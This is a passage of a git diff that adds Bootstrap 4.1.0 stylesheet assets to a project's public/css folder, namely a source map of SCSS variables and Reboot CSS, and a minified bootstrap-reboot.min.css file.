calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top: .25rem !default;\n\n$form-check-input-gutter: 1.25rem !default;\n$form-check-input-margin-y: .3rem !default;\n$form-check-input-margin-x: .25rem !default;\n\n$form-check-inline-margin-x: .75rem !default;\n$form-check-inline-input-margin-x: .3125rem !default;\n\n$form-group-margin-bottom: 1rem !default;\n\n$input-group-addon-color: $input-color !default;\n$input-group-addon-bg: $gray-200 !default;\n$input-group-addon-border-color: $input-border-color !default;\n\n$custom-control-gutter: 1.5rem !default;\n$custom-control-spacer-x: 1rem !default;\n\n$custom-control-indicator-size: 1rem !default;\n$custom-control-indicator-bg: $gray-300 !default;\n$custom-control-indicator-bg-size: 50% 50% !default;\n$custom-control-indicator-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg: $gray-200 !default;\n$custom-control-label-disabled-color: $gray-600 !default;\n\n$custom-control-indicator-checked-color: $component-active-color !default;\n$custom-control-indicator-checked-bg: $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg: rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow: none !default;\n\n$custom-control-indicator-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color: $component-active-color !default;\n$custom-control-indicator-active-bg: lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow: none !default;\n\n$custom-checkbox-indicator-border-radius: $border-radius !default;\n$custom-checkbox-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg: $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color: $custom-control-indicator-checked-color !default;\n$custom-checkbox-indicator-icon-indeterminate: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow: none !default;\n\n$custom-radio-indicator-border-radius: 50% !default;\n$custom-radio-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y: .375rem !default;\n$custom-select-padding-x: .75rem !default;\n$custom-select-height: $input-height !default;\n$custom-select-indicator-padding: 1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height: $input-btn-line-height !default;\n$custom-select-color: $input-color !default;\n$custom-select-disabled-color: $gray-600 !default;\n$custom-select-bg: $input-bg !default;\n$custom-select-disabled-bg: $gray-200 !default;\n$custom-select-bg-size: 8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color: $gray-800 !default;\n$custom-select-indicator: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width: $input-btn-border-width !default;\n$custom-select-border-color: $input-border-color !default;\n$custom-select-border-radius: $border-radius !default;\n\n$custom-select-focus-border-color: $input-focus-border-color !default;\n$custom-select-focus-box-shadow: inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm: 75% !default;\n$custom-select-height-sm: $input-height-sm !default;\n\n$custom-select-font-size-lg: 125% !default;\n$custom-select-height-lg: $input-height-lg !default;\n\n$custom-range-track-width: 100% !default;\n$custom-range-track-height: .5rem !default;\n$custom-range-track-cursor: pointer !default;\n$custom-range-track-bg: $gray-300 !default;\n$custom-range-track-border-radius: 1rem !default;\n$custom-range-track-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width: 1rem !default;\n$custom-range-thumb-height: $custom-range-thumb-width !default;\n$custom-range-thumb-bg: $component-active-bg !default;\n$custom-range-thumb-border: 0 !default;\n$custom-range-thumb-border-radius: 1rem !default;\n$custom-range-thumb-box-shadow: 0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg: lighten($component-active-bg, 35%) !default;\n\n$custom-file-height: $input-height !default;\n$custom-file-focus-border-color: $input-focus-border-color !default;\n$custom-file-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y: $input-btn-padding-y !default;\n$custom-file-padding-x: $input-btn-padding-x !default;\n$custom-file-line-height: $input-btn-line-height !default;\n$custom-file-color: $input-color !default;\n$custom-file-bg: $input-bg !default;\n$custom-file-border-width: $input-btn-border-width !default;\n$custom-file-border-color: $input-border-color !default;\n$custom-file-border-radius: $input-border-radius !default;\n$custom-file-box-shadow: $input-box-shadow !default;\n$custom-file-button-color: $custom-file-color !default;\n$custom-file-button-bg: $input-group-addon-bg !default;\n$custom-file-text: (\n en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top: $form-text-margin-top !default;\n$form-feedback-font-size: $small-font-size !default;\n$form-feedback-valid-color: theme-color(\"success\") !default;\n$form-feedback-invalid-color: theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width: 10rem !default;\n$dropdown-padding-y: .5rem !default;\n$dropdown-spacer: .125rem !default;\n$dropdown-bg: $white !default;\n$dropdown-border-color: rgba($black, .15) !default;\n$dropdown-border-radius: $border-radius !default;\n$dropdown-border-width: $border-width !default;\n$dropdown-divider-bg: $gray-200 !default;\n$dropdown-box-shadow: 0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color: $gray-900 !default;\n$dropdown-link-hover-color: darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg: $gray-100 !default;\n\n$dropdown-link-active-color: $component-active-color !default;\n$dropdown-link-active-bg: $component-active-bg !default;\n\n$dropdown-link-disabled-color: $gray-600 !default;\n\n$dropdown-item-padding-y: .25rem !default;\n$dropdown-item-padding-x: 1.5rem !default;\n\n$dropdown-header-color: $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown: 1000 !default;\n$zindex-sticky: 1020 !default;\n$zindex-fixed: 1030 !default;\n$zindex-modal-backdrop: 1040 !default;\n$zindex-modal: 1050 !default;\n$zindex-popover: 1060 !default;\n$zindex-tooltip: 1070 !default;\n\n// Navs\n\n$nav-link-padding-y: .5rem !default;\n$nav-link-padding-x: 1rem !default;\n$nav-link-disabled-color: $gray-600 !default;\n\n$nav-tabs-border-color: $gray-300 !default;\n$nav-tabs-border-width: $border-width !default;\n$nav-tabs-border-radius: $border-radius !default;\n$nav-tabs-link-hover-border-color: $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color: $gray-700 !default;\n$nav-tabs-link-active-bg: $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius: $border-radius !default;\n$nav-pills-link-active-color: $component-active-color !default;\n$nav-pills-link-active-bg: $component-active-bg !default;\n\n$nav-divider-color: $gray-200 !default;\n$nav-divider-margin-y: ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y: ($spacer / 2) !default;\n$navbar-padding-x: $spacer !default;\n\n$navbar-nav-link-padding-x: .5rem !default;\n\n$navbar-brand-font-size: $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height: ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height: $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y: ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y: .25rem !default;\n$navbar-toggler-padding-x: .75rem !default;\n$navbar-toggler-font-size: $font-size-lg !default;\n$navbar-toggler-border-radius: $btn-border-radius !default;\n\n$navbar-dark-color: rgba($white, .5) !default;\n$navbar-dark-hover-color: rgba($white, .75) !default;\n$navbar-dark-active-color: $white !default;\n$navbar-dark-disabled-color: rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color: rgba($white, .1) !default;\n\n$navbar-light-color: rgba($black, .5) !default;\n$navbar-light-hover-color: rgba($black, .7) !default;\n$navbar-light-active-color: rgba($black, .9) !default;\n$navbar-light-disabled-color: rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y: .5rem !default;\n$pagination-padding-x: .75rem !default;\n$pagination-padding-y-sm: .25rem !default;\n$pagination-padding-x-sm: .5rem !default;\n$pagination-padding-y-lg: .75rem !default;\n$pagination-padding-x-lg: 1.5rem !default;\n$pagination-line-height: 1.25 !default;\n\n$pagination-color: $link-color !default;\n$pagination-bg: $white !default;\n$pagination-border-width: $border-width !default;\n$pagination-border-color: $gray-300 !default;\n\n$pagination-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$pagination-focus-outline: 0 !default;\n\n$pagination-hover-color: $link-hover-color !default;\n$pagination-hover-bg: $gray-200 !default;\n$pagination-hover-border-color: $gray-300 !default;\n\n$pagination-active-color: $component-active-color !default;\n$pagination-active-bg: $component-active-bg !default;\n$pagination-active-border-color: $pagination-active-bg !default;\n\n$pagination-disabled-color: $gray-600 !default;\n$pagination-disabled-bg: $white !default;\n$pagination-disabled-border-color: $gray-300 !default;\n\n\n// Jumbotron\n\n$jumbotron-padding: 2rem !default;\n$jumbotron-bg: $gray-200 !default;\n\n\n// Cards\n\n$card-spacer-y: .75rem !default;\n$card-spacer-x: 1.25rem !default;\n$card-border-width: $border-width !default;\n$card-border-radius: $border-radius !default;\n$card-border-color: rgba($black, .125) !default;\n$card-inner-border-radius: calc(#{$card-border-radius} - #{$card-border-width}) !default;\n$card-cap-bg: rgba($black, .03) !default;\n$card-bg: $white !default;\n\n$card-img-overlay-padding: 1.25rem !default;\n\n$card-group-margin: ($grid-gutter-width / 2) !default;\n$card-deck-margin: $card-group-margin !default;\n\n$card-columns-count: 3 !default;\n$card-columns-gap: 1.25rem !default;\n$card-columns-margin: $card-spacer-y !default;\n\n\n// Tooltips\n\n$tooltip-font-size: $font-size-sm !default;\n$tooltip-max-width: 200px !default;\n$tooltip-color: $white !default;\n$tooltip-bg: $black !default;\n$tooltip-border-radius: $border-radius !default;\n$tooltip-opacity: .9 !default;\n$tooltip-padding-y: .25rem !default;\n$tooltip-padding-x: .5rem !default;\n$tooltip-margin: 0 !default;\n\n$tooltip-arrow-width: .8rem !default;\n$tooltip-arrow-height: .4rem !default;\n$tooltip-arrow-color: $tooltip-bg !default;\n\n\n// Popovers\n\n$popover-font-size: $font-size-sm !default;\n$popover-bg: $white !default;\n$popover-max-width: 276px !default;\n$popover-border-width: $border-width !default;\n$popover-border-color: rgba($black, .2) !default;\n$popover-border-radius: $border-radius-lg !default;\n$popover-box-shadow: 0 .25rem .5rem rgba($black, .2) !default;\n\n$popover-header-bg: darken($popover-bg, 3%) !default;\n$popover-header-color: $headings-color !default;\n$popover-header-padding-y: .5rem !default;\n$popover-header-padding-x: .75rem !default;\n\n$popover-body-color: $body-color !default;\n$popover-body-padding-y: $popover-header-padding-y !default;\n$popover-body-padding-x: $popover-header-padding-x !default;\n\n$popover-arrow-width: 1rem !default;\n$popover-arrow-height: .5rem !default;\n$popover-arrow-color: $popover-bg !default;\n\n$popover-arrow-outer-color: fade-in($popover-border-color, .05) !default;\n\n\n// Badges\n\n$badge-font-size: 75% !default;\n$badge-font-weight: $font-weight-bold !default;\n$badge-padding-y: .25em !default;\n$badge-padding-x: .4em !default;\n$badge-border-radius: $border-radius !default;\n\n$badge-pill-padding-x: .6em !default;\n// Use a higher than normal value to ensure completely rounded edges when\n// customizing padding or font-size on labels.\n$badge-pill-border-radius: 10rem !default;\n\n\n// Modals\n\n// Padding applied to the modal body\n$modal-inner-padding: 1rem !default;\n\n$modal-dialog-margin: .5rem !default;\n$modal-dialog-margin-y-sm-up: 1.75rem !default;\n\n$modal-title-line-height: $line-height-base !default;\n\n$modal-content-bg: $white !default;\n$modal-content-border-color: rgba($black, .2) !default;\n$modal-content-border-width: $border-width !default;\n$modal-content-border-radius: $border-radius-lg !default;\n$modal-content-box-shadow-xs: 0 .25rem .5rem rgba($black, .5) !default;\n$modal-content-box-shadow-sm-up: 0 .5rem 1rem rgba($black, .5) !default;\n\n$modal-backdrop-bg: $black !default;\n$modal-backdrop-opacity: .5 !default;\n$modal-header-border-color: $gray-200 !default;\n$modal-footer-border-color: $modal-header-border-color !default;\n$modal-header-border-width: $modal-content-border-width !default;\n$modal-footer-border-width: $modal-header-border-width !default;\n$modal-header-padding: 1rem !default;\n\n$modal-lg: 800px !default;\n$modal-md: 500px !default;\n$modal-sm: 300px !default;\n\n$modal-transition: transform .3s ease-out !default;\n\n\n// Alerts\n//\n// Define alert colors, border radius, and padding.\n\n$alert-padding-y: .75rem !default;\n$alert-padding-x: 1.25rem !default;\n$alert-margin-bottom: 1rem !default;\n$alert-border-radius: $border-radius !default;\n$alert-link-font-weight: $font-weight-bold !default;\n$alert-border-width: $border-width !default;\n\n$alert-bg-level: -10 !default;\n$alert-border-level: -9 !default;\n$alert-color-level: 6 !default;\n\n\n// Progress bars\n\n$progress-height: 1rem !default;\n$progress-font-size: ($font-size-base * .75) !default;\n$progress-bg: $gray-200 !default;\n$progress-border-radius: $border-radius !default;\n$progress-box-shadow: inset 0 .1rem .1rem rgba($black, .1) !default;\n$progress-bar-color: $white !default;\n$progress-bar-bg: theme-color(\"primary\") !default;\n$progress-bar-animation-timing: 1s linear infinite !default;\n$progress-bar-transition: width .6s ease !default;\n\n// List group\n\n$list-group-bg: $white !default;\n$list-group-border-color: rgba($black, .125) !default;\n$list-group-border-width: $border-width !default;\n$list-group-border-radius: $border-radius !default;\n\n$list-group-item-padding-y: .75rem !default;\n$list-group-item-padding-x: 1.25rem !default;\n\n$list-group-hover-bg: $gray-100 !default;\n$list-group-active-color: $component-active-color !default;\n$list-group-active-bg: $component-active-bg !default;\n$list-group-active-border-color: $list-group-active-bg !default;\n\n$list-group-disabled-color: $gray-600 !default;\n$list-group-disabled-bg: $list-group-bg !default;\n\n$list-group-action-color: $gray-700 !default;\n$list-group-action-hover-color: $list-group-action-color !default;\n\n$list-group-action-active-color: $body-color !default;\n$list-group-action-active-bg: $gray-200 !default;\n\n\n// Image thumbnails\n\n$thumbnail-padding: .25rem !default;\n$thumbnail-bg: $body-bg !default;\n$thumbnail-border-width: $border-width !default;\n$thumbnail-border-color: $gray-300 !default;\n$thumbnail-border-radius: $border-radius !default;\n$thumbnail-box-shadow: 0 1px 2px rgba($black, .075) !default;\n\n\n// Figures\n\n$figure-caption-font-size: 90% !default;\n$figure-caption-color: $gray-600 !default;\n\n\n// Breadcrumbs\n\n$breadcrumb-padding-y: .75rem !default;\n$breadcrumb-padding-x: 1rem !default;\n$breadcrumb-item-padding: .5rem !default;\n\n$breadcrumb-margin-bottom: 1rem !default;\n\n$breadcrumb-bg: $gray-200 !default;\n$breadcrumb-divider-color: $gray-600 !default;\n$breadcrumb-active-color: $gray-600 !default;\n$breadcrumb-divider: quote(\"/\") !default;\n\n$breadcrumb-border-radius: $border-radius !default;\n\n\n// Carousel\n\n$carousel-control-color: $white !default;\n$carousel-control-width: 15% !default;\n$carousel-control-opacity: .5 !default;\n\n$carousel-indicator-width: 30px !default;\n$carousel-indicator-height: 3px !default;\n$carousel-indicator-spacer: 3px !default;\n$carousel-indicator-active-bg: $white !default;\n\n$carousel-caption-width: 70% !default;\n$carousel-caption-color: $white !default;\n\n$carousel-control-icon-width: 20px !default;\n\n$carousel-control-prev-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$carousel-control-next-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$carousel-transition: transform .6s ease !default; // Define transform transition first if using multiple transitons (e.g., `transform 2s ease, opacity .5s ease-out`)\n\n\n// Close\n\n$close-font-size: $font-size-base * 1.5 !default;\n$close-font-weight: $font-weight-bold !default;\n$close-color: $black !default;\n$close-text-shadow: 0 1px 0 $white !default;\n\n// Code\n\n$code-font-size: 87.5% !default;\n$code-color: $pink !default;\n\n$kbd-padding-y: .2rem !default;\n$kbd-padding-x: .4rem !default;\n$kbd-font-size: $code-font-size !default;\n$kbd-color: $white !default;\n$kbd-bg: $gray-900 !default;\n\n$pre-color: $gray-900 !default;\n$pre-scrollable-max-height: 340px !default;\n\n\n// Printing\n$print-page-size: a3 !default;\n$print-body-min-width: map-get($grid-breakpoints, \"lg\") !default;\n","/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n\n/*# sourceMappingURL=bootstrap-reboot.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n &:hover { @content; }\n}\n\n@mixin hover-focus {\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin plain-hover-focus {\n &,\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin hover-focus-active {\n &:hover,\n &:focus,\n &:active {\n @content;\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/bootstrap-reboot.min.css b/public/css/bootstrap-reboot.min.css new file mode 100644 index 0000000..eb965cc --- /dev/null +++ b/public/css/bootstrap-reboot.min.css @@ -0,0 +1,8 @@ +/*! + * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) + */*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important} +/*# sourceMappingURL=bootstrap-reboot.min.css.map */ \ No newline at end of file diff --git a/public/css/bootstrap-reboot.min.css.map b/public/css/bootstrap-reboot.min.css.map new file mode 100644 index 0000000..e5a961a --- /dev/null +++ b/public/css/bootstrap-reboot.min.css.map @@ -0,0 +1 @@ 